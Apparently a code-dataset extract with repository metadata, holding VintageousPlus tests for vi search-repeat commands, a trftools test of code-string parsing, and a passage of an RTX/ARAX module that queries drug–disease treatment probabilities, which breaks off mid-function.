] | 1 | 2017-04-04T06:47:13.000Z | 2017-04-04T14:26:32.000Z | tests/commands/test__vi_repeat_search.py | trishume/VintageousPlus | 1dd62435138234979fe5bb413e1731119b017daf | [
"MIT"
] | null | null | null | from VintageousPlus.vi.utils import modes
from VintageousPlus.tests import add_sel
from VintageousPlus.tests import get_sel
from VintageousPlus.tests import first_sel
from VintageousPlus.tests import ViewTest
class Test_vi_repeat_star_InNormalMode(ViewTest):
def testRepeatForward(self):
self.write('foo\nabc\nbar\nabc\nmoo\nabc\nend')
self.clear_sel()
self.add_sel(self.R(4, 4))
self.view.run_command('_vi_star', {'mode': modes.NORMAL})
self.view.run_command('_vi_repeat_buffer_search', {'mode': modes.NORMAL, 'reverse': False})
self.assertEqual(self.R(20, 20), first_sel(self.view))
self.assertEqual(self.view.get_regions('vi_search'), [self.R(4, 7), self.R(12, 15), self.R(20, 23)])
def testRepeatForwardTwice(self):
self.write('foo\nabc\nbar\nabc\nmoo\nabc\nend')
self.clear_sel()
self.add_sel(self.R(4, 4))
self.view.run_command('_vi_star', {'mode': modes.NORMAL})
self.view.run_command('_vi_repeat_buffer_search', {'mode': modes.NORMAL, 'reverse': False})
self.view.run_command('_vi_repeat_buffer_search', {'mode': modes.NORMAL, 'reverse': False})
self.assertEqual(self.R(4, 4), first_sel(self.view))
self.assertEqual(self.view.get_regions('vi_search'), [self.R(4, 7), self.R(12, 15), self.R(20, 23)])
def testRepeatReverse(self):
self.write('foo\nabc\nbar\nabc\nmoo\nabc\nend')
self.clear_sel()
self.add_sel(self.R(4, 4))
self.view.run_command('_vi_star', {'mode': modes.NORMAL})
self.view.run_command('_vi_repeat_buffer_search', {'mode': modes.NORMAL, 'reverse': True})
self.assertEqual(self.R(4, 4), first_sel(self.view))
self.assertEqual(self.view.get_regions('vi_search'), [self.R(4, 7), self.R(12, 15), self.R(20, 23)])
def testRepeatReverseTwice(self):
self.write('foo\nabc\nbar\nabc\nmoo\nabc\nend')
self.clear_sel()
self.add_sel(self.R(4, 4))
self.view.run_command('_vi_star', {'mode': modes.NORMAL})
self.view.run_command('_vi_repeat_buffer_search', {'mode': modes.NORMAL, 'reverse': True})
self.view.run_command('_vi_repeat_buffer_search', {'mode': modes.NORMAL, 'reverse': True})
self.assertEqual(self.R(20, 20), first_sel(self.view))
self.assertEqual(self.view.get_regions('vi_search'), [self.R(4, 7), self.R(12, 15), self.R(20, 23)])
def testRepeatForwardReverseTwiceForwardThrice(self):
self.write('foo\nabc\nbar\nabc\nmoo\nabc\nend')
self.clear_sel()
self.add_sel(self.R(4, 4))
self.view.run_command('_vi_star', {'mode': modes.NORMAL})
self.view.run_command('_vi_repeat_buffer_search', {'mode': modes.NORMAL, 'reverse': False})
for i in range(0, 2):
self.view.run_command('_vi_repeat_buffer_search', {'mode': modes.NORMAL, 'reverse': True})
for i in range(0, 3):
self.view.run_command('_vi_repeat_buffer_search', {'mode': modes.NORMAL, 'reverse': False})
self.assertEqual(self.R(4, 4), first_sel(self.view))
self.assertEqual(self.view.get_regions('vi_search'), [self.R(4, 7), self.R(12, 15), self.R(20, 23)])
def testRepeatNoPartial(self):
self.write('foo\nabc\nbar\nabc\nmoo\nabcxend')
self.clear_sel()
self.add_sel(self.R(4, 4))
self.view.run_command('_vi_star', {'mode': modes.NORMAL})
self.view.run_command('_vi_repeat_buffer_search', {'mode': modes.NORMAL, 'reverse': False})
self.assertEqual(self.R(4, 4), first_sel(self.view))
self.assertEqual(self.view.get_regions('vi_search'), [self.R(4, 7), self.R(12, 15)])
class Test_vi_repeat_octothorp_InNormalMode(ViewTest):
def testRepeatForward(self):
self.write('foo\nabc\nbar\nabc\nmoo\nabc\nend')
self.clear_sel()
self.add_sel(self.R(4, 4))
self.view.run_command('_vi_octothorp', {'mode': modes.NORMAL})
self.view.run_command('_vi_repeat_buffer_search', {'mode': modes.NORMAL, 'reverse': False})
self.assertEqual(self.R(12, 12), first_sel(self.view))
self.assertEqual(self.view.get_regions('vi_search'), [self.R(4, 7), self.R(12, 15), self.R(20, 23)])
def testRepeatReverse(self):
self.write('foo\nabc\nbar\nabc\nmoo\nabc\nend')
self.clear_sel()
self.add_sel(self.R(4, 4))
self.view.run_command('_vi_octothorp', {'mode': modes.NORMAL})
self.view.run_command('_vi_repeat_buffer_search', {'mode': modes.NORMAL, 'reverse': True})
self.assertEqual(self.R(4, 4), first_sel(self.view))
self.assertEqual(self.view.get_regions('vi_search'), [self.R(4, 7), self.R(12, 15), self.R(20, 23)])
def testRepeatNoPartial(self):
self.write('foo\nabc\nbar\nabc\nmoo\nabcxend')
self.clear_sel()
self.add_sel(self.R(4, 4))
self.view.run_command('_vi_octothorp', {'mode': modes.NORMAL})
self.view.run_command('_vi_repeat_buffer_search', {'mode': modes.NORMAL, 'reverse': True})
self.assertEqual(self.R(4, 4), first_sel(self.view))
self.assertEqual(self.view.get_regions('vi_search'), [self.R(4, 7), self.R(12, 15)])
class Test_vi_repeat_slash_InNormalMode(ViewTest):
def testRepeatForward(self):
self.write('foo\nabc\nbar\nabc\nmoo\nabc\nend')
self.clear_sel()
self.add_sel(self.R(0, 0))
self.view.run_command('_vi_slash_impl', {'mode': modes.NORMAL, 'search_string': 'abc'})
self.state.last_buffer_search_command = 'vi_slash'
self.assertEqual(self.R(4, 4), first_sel(self.view))
self.view.run_command('_vi_repeat_buffer_search', {'mode': modes.NORMAL, 'reverse': False})
self.assertEqual(self.R(12, 12), first_sel(self.view))
self.assertEqual(self.view.get_regions('vi_search'), [self.R(4, 7), self.R(12, 15), self.R(20, 23)])
def testRepeatReverse(self):
self.write('foo\nabc\nbar\nabc\nmoo\nabc\nend')
self.clear_sel()
self.add_sel(self.R(0, 0))
self.view.run_command('_vi_slash_impl', {'mode': modes.NORMAL, 'search_string': 'abc'})
self.state.last_buffer_search_command = 'vi_slash'
self.assertEqual(self.R(4, 4), first_sel(self.view))
self.view.run_command('_vi_repeat_buffer_search', {'mode': modes.NORMAL, 'reverse': True})
self.assertEqual(self.R(20, 20), first_sel(self.view))
self.assertEqual(self.view.get_regions('vi_search'), [self.R(4, 7), self.R(12, 15), self.R(20, 23)])
def testRepeatPartial(self):
self.write('foo\nabc\nbar\nabcxmoo\nabc\nend')
self.clear_sel()
self.add_sel(self.R(0, 0))
self.view.run_command('_vi_slash_impl', {'mode': modes.NORMAL, 'search_string': 'abc'})
self.state.last_buffer_search_command = 'vi_slash'
self.assertEqual(self.R(4, 4), first_sel(self.view))
self.view.run_command('_vi_repeat_buffer_search', {'mode': modes.NORMAL, 'reverse': False})
self.assertEqual(self.R(12, 12), first_sel(self.view))
self.assertEqual(self.view.get_regions('vi_search'), [self.R(4, 7), self.R(12, 15), self.R(20, 23)])
class Test_vi_repeat_question_mark_InNormalMode(ViewTest):
def testRepeatForward(self):
self.write('foo\nabc\nbar\nabc\nmoo\nabc\nend')
self.clear_sel()
self.add_sel(self.R(0, 0))
self.view.run_command('_vi_question_mark_impl', {'mode': modes.NORMAL, 'search_string': 'abc'})
self.state.last_buffer_search_command = 'vi_question_mark'
self.assertEqual(self.R(20, 20), first_sel(self.view))
self.view.run_command('_vi_repeat_buffer_search', {'mode': modes.NORMAL, 'reverse': False})
self.assertEqual(self.R(12, 12), first_sel(self.view))
self.assertEqual(self.view.get_regions('vi_search'), [self.R(4, 7), self.R(12, 15), self.R(20, 23)])
def testRepeatReverse(self):
self.write('foo\nabc\nbar\nabc\nmoo\nabc\nend')
self.clear_sel()
self.add_sel(self.R(0, 0))
self.view.run_command('_vi_question_mark_impl', {'mode': modes.NORMAL, 'search_string': 'abc'})
self.state.last_buffer_search_command = 'vi_question_mark'
self.assertEqual(self.R(20, 20), first_sel(self.view))
self.view.run_command('_vi_repeat_buffer_search', {'mode': modes.NORMAL, 'reverse': True})
self.assertEqual(self.R(4, 4), first_sel(self.view))
self.assertEqual(self.view.get_regions('vi_search'), [self.R(4, 7), self.R(12, 15), self.R(20, 23)])
def testRepeatPartial(self):
self.write('foo\nabc\nbar\nabcxmoo\nabc\nend')
self.clear_sel()
self.add_sel(self.R(0, 0))
self.view.run_command('_vi_question_mark_impl', {'mode': modes.NORMAL, 'search_string': 'abc'})
self.state.last_buffer_search_command = 'vi_question_mark'
self.assertEqual(self.R(20, 20), first_sel(self.view))
self.view.run_command('_vi_repeat_buffer_search', {'mode': modes.NORMAL, 'reverse': False})
self.assertEqual(self.R(12, 12), first_sel(self.view))
self.assertEqual(self.view.get_regions('vi_search'), [self.R(4, 7), self.R(12, 15), self.R(20, 23)])
| 50.994444 | 108 | 0.659767 | 1,358 | 9,179 | 4.251105 | 0.051546 | 0.068422 | 0.118483 | 0.106011 | 0.95912 | 0.938334 | 0.938334 | 0.938334 | 0.938334 | 0.938334 | 0 | 0.031442 | 0.168428 | 9,179 | 179 | 109 | 51.27933 | 0.724879 | 0 | 0 | 0.904762 | 0 | 0 | 0.186731 | 0.110361 | 0 | 0 | 0 | 0 | 0.244898 | 1 | 0.102041 | false | 0 | 0.034014 | 0 | 0.163265 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
2e7db1fd92aa19b9763d8c5858958f8a1549ec34 | 613 | py | Python | trftools/pipeline/tests/test_code.py | christianbrodbeck/TRF-Tools | 0d5ee51b4bd2dc33a54bcf167e59cee2b5e11276 | [
"MIT"
] | null | null | null | trftools/pipeline/tests/test_code.py | christianbrodbeck/TRF-Tools | 0d5ee51b4bd2dc33a54bcf167e59cee2b5e11276 | [
"MIT"
] | 1 | 2021-06-25T16:15:30.000Z | 2021-06-25T16:15:30.000Z | trftools/pipeline/tests/test_code.py | christianbrodbeck/TRF-Tools | 0d5ee51b4bd2dc33a54bcf167e59cee2b5e11276 | [
"MIT"
] | 3 | 2020-02-06T19:29:19.000Z | 2021-11-16T04:06:24.000Z | from trftools.pipeline import Code
def test_code():
code = Code('stim|x-option$permute')
assert code.code_with_rand == 'x-option$permute'
assert code.stim == 'stim'
assert code.code == 'x-option'
assert code.shuffle_index is None
assert code.shuffle == 'permute'
assert code.shuffle_angle == 180
code = Code('stim|x-option$[mask]permute')
assert code.code_with_rand == 'x-option$[mask]permute'
assert code.stim == 'stim'
assert code.code == 'x-option'
assert code.shuffle_index == 'mask'
assert code.shuffle == 'permute'
assert code.shuffle_angle == 180
| 30.65 | 58 | 0.672104 | 85 | 613 | 4.741176 | 0.247059 | 0.297767 | 0.253102 | 0.064516 | 0.873449 | 0.796526 | 0.759305 | 0.759305 | 0.580645 | 0.337469 | 0 | 0.012146 | 0.194127 | 613 | 19 | 59 | 32.263158 | 0.803644 | 0 | 0 | 0.5 | 0 | 0 | 0.208809 | 0.114193 | 0 | 0 | 0 | 0 | 0.75 | 1 | 0.0625 | false | 0 | 0.0625 | 0 | 0.125 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
cf731431bed00bbfe5ec4d69ccf3e277a8820c9a | 54,889 | py | Python | code/ARAX/ARAXQuery/Expand/DTD_querier.py | finnagin/RTX | 698fab0d5ac507e92b5190878922f9fa5b72d9a7 | [
"MIT"
] | null | null | null | code/ARAX/ARAXQuery/Expand/DTD_querier.py | finnagin/RTX | 698fab0d5ac507e92b5190878922f9fa5b72d9a7 | [
"MIT"
] | null | null | null | code/ARAX/ARAXQuery/Expand/DTD_querier.py | finnagin/RTX | 698fab0d5ac507e92b5190878922f9fa5b72d9a7 | [
"MIT"
] | null | null | null | #!/bin/env python3
import sys
import os
import traceback
import ast
import itertools
import numpy as np
from typing import List, Dict, Tuple
from neo4j import GraphDatabase
sys.path.append(os.path.dirname(os.path.abspath(__file__)))
import expand_utilities as eu
from expand_utilities import QGOrganizedKnowledgeGraph
sys.path.append(os.path.dirname(os.path.abspath(__file__))+"/../") # ARAXQuery directory
from ARAX_response import ARAXResponse
sys.path.append(os.path.dirname(os.path.abspath(__file__)) + "/../../../") # code directory
from RTXConfiguration import RTXConfiguration
sys.path.append(os.path.dirname(os.path.abspath(__file__)) + "/../../../UI/OpenAPI/python-flask-server/")
from openapi_server.models.node import Node
from openapi_server.models.edge import Edge
from openapi_server.models.attribute import Attribute
from openapi_server.models.query_graph import QueryGraph
from openapi_server.models.q_node import QNode
from openapi_server.models.q_edge import QEdge
sys.path.append(os.path.dirname(os.path.abspath(__file__)) + "/../../../ARAX/ARAXQuery/")
from Overlay.predictor.predictor import predictor
sys.path.append(os.path.dirname(os.path.abspath(__file__)) + "/../../../ARAX/NodeSynonymizer/")
from node_synonymizer import NodeSynonymizer
pathlist = os.path.realpath(__file__).split(os.path.sep)
RTXindex = pathlist.index("RTX")
sys.path.append(os.path.sep.join([*pathlist[:(RTXindex + 1)], 'code']))
from RTXConfiguration import RTXConfiguration
class DTDQuerier:
def __init__(self, response_object: ARAXResponse) -> Tuple[QGOrganizedKnowledgeGraph, Dict[str, Dict[str, str]]]:
self.RTXConfig = RTXConfiguration()
self.response = response_object
self.synonymizer = NodeSynonymizer()
## check if the new model files exists in /predictor/retrain_data. If not, scp it from arax.ncats.io
pathlist = os.path.realpath(__file__).split(os.path.sep)
RTXindex = pathlist.index("RTX")
filepath = os.path.sep.join([*pathlist[:(RTXindex + 1)], 'code', 'ARAX', 'KnowledgeSources', 'Prediction'])
## check if there is LogModel.pkl
self.pkl_file = f"{filepath}/{self.RTXConfig.log_model_path.split('/')[-1]}"
if os.path.exists(self.pkl_file):
pass
else:
os.system(f"scp {self.RTXConfig.log_model_username}@{self.RTXConfig.log_model_host}:{self.RTXConfig.log_model_path} " + self.pkl_file)
## check if there is GRAPH.sqlite
self.db_file = f"{filepath}/{self.RTXConfig.graph_database_path.split('/')[-1]}"
if os.path.exists(self.db_file):
pass
else:
os.system(f"scp {self.RTXConfig.graph_database_username}@{self.RTXConfig.graph_database_host}:{self.RTXConfig.graph_database_path} " + self.db_file)
## check if there is DTD_probability_database.db
self.DTD_prob_db_file = f"{filepath}/{self.RTXConfig.dtd_prob_path.split('/')[-1]}"
if os.path.exists(self.DTD_prob_db_file):
pass
else:
os.system(f"scp {self.RTXConfig.dtd_prob_username}@{self.RTXConfig.dtd_prob_host}:{self.RTXConfig.dtd_prob_path} " + self.DTD_prob_db_file)
def answer_one_hop_query(self, query_graph: QueryGraph) -> Tuple[QGOrganizedKnowledgeGraph, Dict[str, Dict[str, str]]]:
"""
This function answers a one-hop (single-edge) query using DTD database.
:param query_graph: A Reasoner API standard query graph.
:return: A tuple containing:
1. an (almost) Reasoner API standard knowledge graph containing all of the nodes and edges returned as
results for the query. (Dictionary version, organized by QG IDs.)
2. a map of which nodes fulfilled which qnode_keys for each edge. Example:
{'DTD:111221': {'n00': 'MONDO:0006082', 'n01': 'CHEBI:9428'}, 'DTD:111223': {'n00': 'MONDO:0006082', 'n01': 'CHEBI:116605'}}
"""
# Set up the required parameters
log = self.response
self.count = 0
self.DTD_threshold = float(self.response.data['parameters']['DTD_threshold'])
DTD_slow_mode = self.response.data['parameters']['DTD_slow_mode']
final_kg = QGOrganizedKnowledgeGraph()
edge_to_nodes_map = dict()
query_graph = eu.make_qg_use_old_types(query_graph) # Temporary patch until we switch to KG2.5.1
# Switch QG back to old style where category/predicate can be strings OR lists
query_graph = eu.switch_back_to_str_or_list_types(query_graph)
if 0.8 <= self.DTD_threshold <=1:
if not DTD_slow_mode:
# Use DTD database
try:
self.pred = predictor(DTD_prob_file=self.DTD_prob_db_file, use_prob_db=True)
except:
tb = traceback.format_exc()
error_type, error, _ = sys.exc_info()
log.error(tb, error_code=error_type.__name__)
log.error(f"Internal Error encountered connecting to the local DTD prediction database while expanding edges with kp=DTD.", error_code="DatabaseError")
final_kg, edge_to_nodes_map = self._answer_query_using_DTD_database(query_graph, log)
else:
# Use DTD model
try:
self.pred = predictor(model_file=self.pkl_file, use_prob_db=False)
except:
tb = traceback.format_exc()
error_type, error, _ = sys.exc_info()
self.response.error(tb, error_code=error_type.__name__)
self.response.error(f"Internal Error encountered connecting to the local LogModel.pkl file while expanding edges with kp=DTD.")
try:
self.pred.import_file(None, graph_database=self.db_file)
except:
tb = traceback.format_exc()
error_type, error, _ = sys.exc_info()
self.response.error(tb, error_code=error_type.__name__)
self.response.error(f"Internal Error encountered connecting to the local graph database file while expanding edges with kp=DTD.")
final_kg, edge_to_nodes_map = self._answer_query_using_DTD_model(query_graph, log)
elif 0 <= self.DTD_threshold < 0.8:
if not DTD_slow_mode:
self.response.warning(f"Since DTD_threshold < 0.8, DTD_slow_mode=true is automatically set to call DTD model. Calling DTD model will be quite time-consuming.")
else:
pass
# Use DTD model
try:
self.pred = predictor(model_file=self.pkl_file, use_prob_db=False)
except:
tb = traceback.format_exc()
error_type, error, _ = sys.exc_info()
self.response.error(tb, error_code=error_type.__name__)
self.response.error(f"Internal Error encountered connecting to the local LogModel.pkl file while expanding edges with kp=DTD.")
try:
self.pred.import_file(None, graph_database=self.db_file)
except:
tb = traceback.format_exc()
error_type, error, _ = sys.exc_info()
self.response.error(tb, error_code=error_type.__name__)
self.response.error(f"Internal Error encountered connecting to the local graph database file while expanding edges with kp=DTD.")
final_kg, edge_to_nodes_map = self._answer_query_using_DTD_model(query_graph, log)
else:
log.error("The 'DTD_threshold' in Expander should be between 0 and 1", error_code="ParameterError")
# TODO: remove this patch once we switch to KG2.5.1!
eu.convert_node_and_edge_types_to_new_format(final_kg)
return final_kg, edge_to_nodes_map
def _answer_query_using_DTD_database(self, query_graph: QueryGraph, log: ARAXResponse) -> Tuple[QGOrganizedKnowledgeGraph, Dict[str, Dict[str, str]]]:
qedge_key = next(qedge_key for qedge_key in query_graph.edges)
log.debug(f"Processing query results for edge {qedge_key} by using DTD database")
final_kg = QGOrganizedKnowledgeGraph()
edge_to_nodes_map = dict()
drug_label_list = ['chemicalsubstance','drug']
disease_label_list = ['disease','phenotypicfeature','diseaseorphenotypicfeature']
# use for checking the requirement
source_pass_nodes = None
source_category = None
target_pass_nodes = None
target_category = None
qedge = query_graph.edges[qedge_key]
source_qnode_key = qedge.subject
target_qnode_key = qedge.object
source_qnode = query_graph.nodes[source_qnode_key]
target_qnode = query_graph.nodes[target_qnode_key]
# check if both ends of edge have no curie
if (source_qnode.id is None) and (target_qnode.id is None):
log.error(f"Both ends of edge {qedge_key} are None", error_code="BadEdge")
return final_kg, edge_to_nodes_map
# check if the query nodes are drug or disease
if source_qnode.id is not None:
has_error, pass_nodes, not_pass_nodes = self._check_id(source_qnode.id, log)
if has_error:
return final_kg, edge_to_nodes_map
else:
if len(not_pass_nodes)==0 and len(pass_nodes)!=0:
source_pass_nodes = pass_nodes
elif len(not_pass_nodes)!=0 and len(pass_nodes)!=0:
source_pass_nodes = pass_nodes
if len(not_pass_nodes)==1:
log.warning(f"The preferred label of {not_pass_nodes[0]} is not drug or disease")
else:
log.warning(f"The preferred labels of {not_pass_nodes} are not drug or disease")
else:
if type(source_qnode.id) is str:
log.error(f"The preferred label of {source_qnode.id} is not drug or disease", error_code="CategoryError")
return final_kg, edge_to_nodes_map
else:
log.error(f"The preferred labels of {source_qnode.id} are not drug or disease", error_code="CategoryError")
return final_kg, edge_to_nodes_map
else:
category = source_qnode.category.replace('biolink:','').replace('_','').lower()
if (category in drug_label_list) or (category in disease_label_list):
source_category = category
else:
log.error(f"The category of query node {source_qnode_key} is unsatisfiable", error_code="CategoryError")
return final_kg, edge_to_nodes_map
if target_qnode.id is not None:
has_error, pass_nodes, not_pass_nodes = self._check_id(target_qnode.id, log)
if has_error:
return final_kg, edge_to_nodes_map
else:
if len(not_pass_nodes)==0 and len(pass_nodes)!=0:
target_pass_nodes = pass_nodes
elif len(not_pass_nodes)!=0 and len(pass_nodes)!=0:
target_pass_nodes = pass_nodes
if len(not_pass_nodes)==1:
log.warning(f"The preferred label of {not_pass_nodes[0]} is not drug or disease")
else:
log.warning(f"The preferred labels of {not_pass_nodes} are not drug or disease")
else:
if type(target_qnode.id) is str:
log.error(f"The preferred label of {target_qnode.id} is not drug or disease", error_code="CategoryError")
return final_kg, edge_to_nodes_map
else:
log.error(f"The preferred labels of {target_qnode.id} are not drug or disease", error_code="CategoryError")
return final_kg, edge_to_nodes_map
else:
category = target_qnode.category.replace('biolink:','').replace('_','').lower()
if (category in drug_label_list) or (category in disease_label_list):
target_category = category
else:
log.error(f"The category of query node {target_qnode_key} is unsatisfiable", error_code="CategoryError")
return final_kg, edge_to_nodes_map
if (source_pass_nodes is None) and (target_pass_nodes is None):
return final_kg, edge_to_nodes_map
elif (source_pass_nodes is not None) and (target_pass_nodes is not None):
source_dict = dict()
target_dict = dict()
normalizer_result = self.synonymizer.get_canonical_curies(source_pass_nodes[0])
preferred_type = normalizer_result[source_pass_nodes[0]]['preferred_type'].replace('biolink:','').replace('_','').lower()
if preferred_type in drug_label_list:
source_category_temp = 'drug'
else:
source_category_temp = 'disease'
normalizer_result = self.synonymizer.get_canonical_curies(target_pass_nodes[0])
preferred_type = normalizer_result[target_pass_nodes[0]]['preferred_type'].replace('biolink:','').replace('_','').lower()
if preferred_type in drug_label_list:
target_category_temp = 'drug'
else:
target_category_temp = 'disease'
if source_category_temp == target_category_temp:
log.error(f"The query nodes in both ends of edge are the same type which is {source_category_temp}", error_code="CategoryError")
return final_kg, edge_to_nodes_map
else:
for (source_curie, target_curie) in itertools.product(source_pass_nodes, target_pass_nodes):
max_probability = -1
normalizer_result = self.synonymizer.get_canonical_curies(source_curie)
converted_source_curie = normalizer_result[source_curie]
normalizer_result = self.synonymizer.get_canonical_curies(target_curie)
converted_target_curie = normalizer_result[target_curie]
if source_category_temp == 'drug':
converted_source_curie = converted_source_curie['preferred_curie']
converted_target_curie = converted_target_curie['preferred_curie']
else:
temp = converted_source_curie['preferred_curie']
converted_source_curie = converted_target_curie['preferred_curie']
converted_target_curie = temp
probability = self.pred.get_prob_from_DTD_db(converted_source_curie, converted_target_curie)
if probability is not None:
if np.isfinite(probability):
max_probability = probability
if max_probability >= self.DTD_threshold:
if source_category_temp == 'drug':
swagger_edge_key, swagger_edge = self._convert_to_swagger_edge(source_curie, target_curie, "probability_treats", max_probability)
else:
swagger_edge_key, swagger_edge = self._convert_to_swagger_edge(target_curie, source_curie, "probability_treats", max_probability)
source_dict[source_curie] = source_qnode_key
target_dict[target_curie] = target_qnode_key
# Record which of this edge's nodes correspond to which qnode_key
if swagger_edge_key not in edge_to_nodes_map:
edge_to_nodes_map[swagger_edge_key] = dict()
edge_to_nodes_map[swagger_edge_key][source_qnode_key] = source_curie
edge_to_nodes_map[swagger_edge_key][target_qnode_key] = target_curie
# Finally add the current edge to our answer knowledge graph
final_kg.add_edge(swagger_edge_key, swagger_edge, qedge_key)
else:
continue
# Add the nodes to our answer knowledge graph
if len(source_dict) != 0:
for source_curie in source_dict:
swagger_node_key, swagger_node = self._convert_to_swagger_node(source_curie)
final_kg.add_node(swagger_node_key, swagger_node, source_dict[source_curie])
if len(target_dict) != 0:
for target_curie in target_dict:
swagger_node_key, swagger_node = self._convert_to_swagger_node(target_curie)
final_kg.add_node(swagger_node_key, swagger_node, target_dict[target_curie])
return final_kg, edge_to_nodes_map
elif source_pass_nodes is not None:
source_dict = dict()
target_dict = dict()
normalizer_result = self.synonymizer.get_canonical_curies(source_pass_nodes[0])
preferred_type = normalizer_result[source_pass_nodes[0]]['preferred_type'].replace('biolink:','').replace('_','').lower()
if preferred_type in drug_label_list:
source_category_temp = 'drug'
else:
source_category_temp = 'disease'
if target_category in drug_label_list:
target_category_temp = 'drug'
else:
target_category_temp = 'disease'
if source_category_temp == target_category_temp:
log.error(f"The query nodes in both ends of edge are the same type which is {source_category_temp}", error_code="CategoryError")
return final_kg, edge_to_nodes_map
else:
if source_category_temp == 'drug':
for source_curie in source_pass_nodes:
normalizer_result = self.synonymizer.get_canonical_curies(source_curie)
res = self.pred.get_probs_from_DTD_db_based_on_drug(normalizer_result[source_curie])
if res is not None:
res = [row for row in res if row[2]>=self.DTD_threshold and self.synonymizer.get_canonical_curies(row[0])[row[0]]['preferred_type'].replace('biolink:','').replace('_','').lower()==target_category]
for row in res:
swagger_edge_key, swagger_edge = self._convert_to_swagger_edge(source_curie, row[0], "probability_treats", row[2])
source_dict[source_curie] = source_qnode_key
target_dict[row[0]] = target_qnode_key
# Record which of this edge's nodes correspond to which qnode_key
if swagger_edge_key not in edge_to_nodes_map:
edge_to_nodes_map[swagger_edge_key] = dict()
edge_to_nodes_map[swagger_edge_key][source_qnode_key] = source_curie
edge_to_nodes_map[swagger_edge_key][target_qnode_key] = row[0]
# Finally add the current edge to our answer knowledge graph
final_kg.add_edge(swagger_edge_key, swagger_edge, qedge_key)
else:
for source_curie in source_pass_nodes:
normalizer_result = self.synonymizer.get_canonical_curies(source_curie)
res = self.pred.get_probs_from_DTD_db_based_on_disease(normalizer_result[source_curie])
if res is not None:
res = [row for row in res if row[2]>=self.DTD_threshold and self.synonymizer.get_canonical_curies(row[1])[row[1]]['preferred_type'].replace('biolink:','').replace('_','').lower()==target_category]
for row in res:
swagger_edge_key, swagger_edge = self._convert_to_swagger_edge(row[1], source_curie, "probability_treats", row[2])
source_dict[source_curie] = source_qnode_key
target_dict[row[1]] = target_qnode_key
# Record which of this edge's nodes correspond to which qnode_key
if swagger_edge_key not in edge_to_nodes_map:
edge_to_nodes_map[swagger_edge_key] = dict()
edge_to_nodes_map[swagger_edge_key][source_qnode_key] = source_curie
edge_to_nodes_map[swagger_edge_key][target_qnode_key] = row[1]
# Finally add the current edge to our answer knowledge graph
final_kg.add_edge(swagger_edge_key, swagger_edge, qedge_key)
# Add the nodes to our answer knowledge graph
if len(source_dict) != 0:
for source_curie in source_dict:
swagger_node_key, swagger_node = self._convert_to_swagger_node(source_curie)
final_kg.add_node(swagger_node_key, swagger_node, source_dict[source_curie])
if len(target_dict) != 0:
for target_curie in target_dict:
swagger_node_key, swagger_node = self._convert_to_swagger_node(target_curie)
final_kg.add_node(swagger_node_key, swagger_node, target_dict[target_curie])
return final_kg, edge_to_nodes_map
else:
source_dict = dict()
target_dict = dict()
normalizer_result = self.synonymizer.get_canonical_curies(target_pass_nodes[0])
preferred_type = normalizer_result[target_pass_nodes[0]]['preferred_type'].replace('biolink:','').replace('_','').lower()
if preferred_type in drug_label_list:
target_category_temp = 'drug'
else:
target_category_temp = 'disease'
if source_category in drug_label_list:
source_category_temp = 'drug'
else:
source_category_temp = 'disease'
if source_category_temp == target_category_temp:
log.error(f"The query nodes in both ends of edge are the same type which is {source_category_temp}", error_code="CategoryError")
return final_kg, edge_to_nodes_map
else:
if target_category_temp == 'drug':
for target_curie in target_pass_nodes:
normalizer_result = self.synonymizer.get_canonical_curies(target_curie)
res = self.pred.get_probs_from_DTD_db_based_on_drug(normalizer_result[target_curie])
if res is not None:
res = [row for row in res if row[2]>=self.DTD_threshold and self.synonymizer.get_canonical_curies(row[0])[row[0]]['preferred_type'].replace('biolink:','').replace('_','').lower()==source_category]
for row in res:
swagger_edge_key, swagger_edge = self._convert_to_swagger_edge(target_curie, row[0], "probability_treats", row[2])
source_dict[row[0]] = source_qnode_key
target_dict[target_curie] = target_qnode_key
# Record which of this edge's nodes correspond to which qnode_key
if swagger_edge_key not in edge_to_nodes_map:
edge_to_nodes_map[swagger_edge_key] = dict()
edge_to_nodes_map[swagger_edge_key][source_qnode_key] = row[0]
edge_to_nodes_map[swagger_edge_key][target_qnode_key] = target_curie
# Finally add the current edge to our answer knowledge graph
final_kg.add_edge(swagger_edge_key, swagger_edge, qedge_key)
else:
for target_curie in target_pass_nodes:
normalizer_result = self.synonymizer.get_canonical_curies(target_curie)
res = self.pred.get_probs_from_DTD_db_based_on_disease(normalizer_result[target_curie])
if res is not None:
res = [row for row in res if row[2]>=self.DTD_threshold and self.synonymizer.get_canonical_curies(row[1])[row[1]]['preferred_type'].replace('biolink:','').replace('_','').lower()==source_category]
for row in res:
swagger_edge_key, swagger_edge = self._convert_to_swagger_edge(row[1], target_curie, "probability_treats", row[2])
source_dict[row[1]] = source_qnode_key
target_dict[target_curie] = target_qnode_key
# Record which of this edge's nodes correspond to which qnode_key
if swagger_edge_key not in edge_to_nodes_map:
edge_to_nodes_map[swagger_edge_key] = dict()
edge_to_nodes_map[swagger_edge_key][source_qnode_key] = row[1]
edge_to_nodes_map[swagger_edge_key][target_qnode_key] = target_curie
# Finally add the current edge to our answer knowledge graph
final_kg.add_edge(swagger_edge_key, swagger_edge, qedge_key)
# Add the nodes to our answer knowledge graph
if len(source_dict) != 0:
for source_curie in source_dict:
swagger_node_key, swagger_node = self._convert_to_swagger_node(source_curie)
final_kg.add_node(swagger_node_key, swagger_node, source_dict[source_curie])
if len(target_dict) != 0:
for target_curie in target_dict:
swagger_node_key, swagger_node = self._convert_to_swagger_node(target_curie)
final_kg.add_node(swagger_node_key, swagger_node, target_dict[target_curie])
return final_kg, edge_to_nodes_map
def _answer_query_using_DTD_model(self, query_graph: QueryGraph, log: ARAXResponse) -> Tuple[QGOrganizedKnowledgeGraph, Dict[str, Dict[str, str]]]:
qedge_key = next(qedge_key for qedge_key in query_graph.edges)
log.debug(f"Processing query results for edge {qedge_key} by using DTD model")
final_kg = QGOrganizedKnowledgeGraph()
edge_to_nodes_map = dict()
drug_label_list = ['chemicalsubstance','drug']
